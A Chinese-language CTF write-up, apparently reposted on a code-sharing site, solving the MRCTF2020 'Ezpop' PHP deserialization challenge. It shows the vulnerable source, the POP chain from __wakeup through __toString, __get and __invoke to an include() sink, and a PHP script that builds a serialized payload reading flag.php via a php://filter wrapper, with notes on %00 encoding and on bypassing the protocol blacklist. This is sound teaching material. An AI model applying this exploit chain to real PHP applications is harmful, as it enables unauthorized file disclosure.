ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[MRCTF2020]Ezpop复现

2021-07-23 16:02:27  阅读:233  来源: 互联网

标签:__ 触发 Show source Ezpop 复现 wakeup public MRCTF2020


题目

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这个题目主要考察各种魔法方法的调用,这里用到的魔法方法如下:

__invoke()

当脚本尝试将对象调用为函数时,调用__invoke()方法。

__toString()

__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。

__wakeup()

unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务

__get()

__get()用于从不可访问的属性读取数据。

 

分析

反序列化的题一般都是先从入口看起,那这题肯定是wakeup为入口。

然后我们去找漏洞点,很明显,include存在一个包含漏洞,所以最后触发即可。

但是到这之后我就卡住了,如何触发__toString我一直没想明白,,当然这题也是这块比较难想到

所以先跳过看了后面的触发逻辑,后面逻辑比较清晰,如果给$str赋值为没有$source或$source是私有(保护也行)的,那么就能触发__get()

__get()在Test类里,调用了p,那么让p等于Modify类就可触发__invoke(),此时让$var='php://filter/convert.base64-encode/resource=flag.php';

回过头我们再来看__tostring的触发方式,当类以字符串的形式使用时会触发。

反序列化进行的时候,必然会触发一次__wakeup(),在此函数里有一个preg_match,

而比较参数的第二个位置如果是new Show(),那么就会以字符串形式处理Show(),触发__toString

由此可以写出payload:

<?php
class Modifier {
    protected  $var='php://filter/convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
    public function __toString(){
        return "xxx";//注意这里,如果你想通过编译,必须给toString一个确定的返回值
    }
}

class Test{
    public $p;
}
//我建议这样写,因为ctf中的类一般都会用到
$a=new Show();
$b=new Test();
$c=new Modifier();

$a->str=$b;//触发__get()
$b->p=$c;//触发__invoke()
$d=new Show($a);//触发__toString()
echo serialize($d);

pop链:__wakeup() => __wakeup() => __toString() => __get() => __invoke() => Modify.append()

而且这里有两个小问题:

第一个:

当第一次wakeup触发时source=index.php是由于我们$a=new Show();时构造函数赋值的

第二次wakeup触发时source=Show对象,所以此处的过滤器压根不生效了,你也可以直接用file去做任意文件读取

第二个:

如果你按照我的payload输出后你应该看到

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

里面有个*var,它认为是一个6长度的字符串,但这只有4个字符,剩下两个字符呢?

这是因为$var是受保护的,所以他有两个不可见字符,其实应该为%00*%00var

这也是为什么很多wp里有一步url编码的原因,其实你手动加两个%00也是一样的

反序列化类中有私有(保护)变量:
<?php
class Test{
    private $test='hello';
    private $var;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);

O:4:"Test":2:{s:10:"%00Test%00test";s:5:"hello";s:9:"%00Test%00var";N;}
private
在序列化完成后会带上类名,把类名前后加上%00做绕过
在我们需要传入该序列化字符串时,需要补齐两个空字节:

即上面所显示的%00Test%00name

protected

换成protected, 属性序列化之后又变了,属性名变成了%00*%00test和%00*%00var

也就是%00*%00属性名

 

标签:__,触发,Show,source,Ezpop,复现,wakeup,public,MRCTF2020
来源: https://www.cnblogs.com/TJWater/p/15048888.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有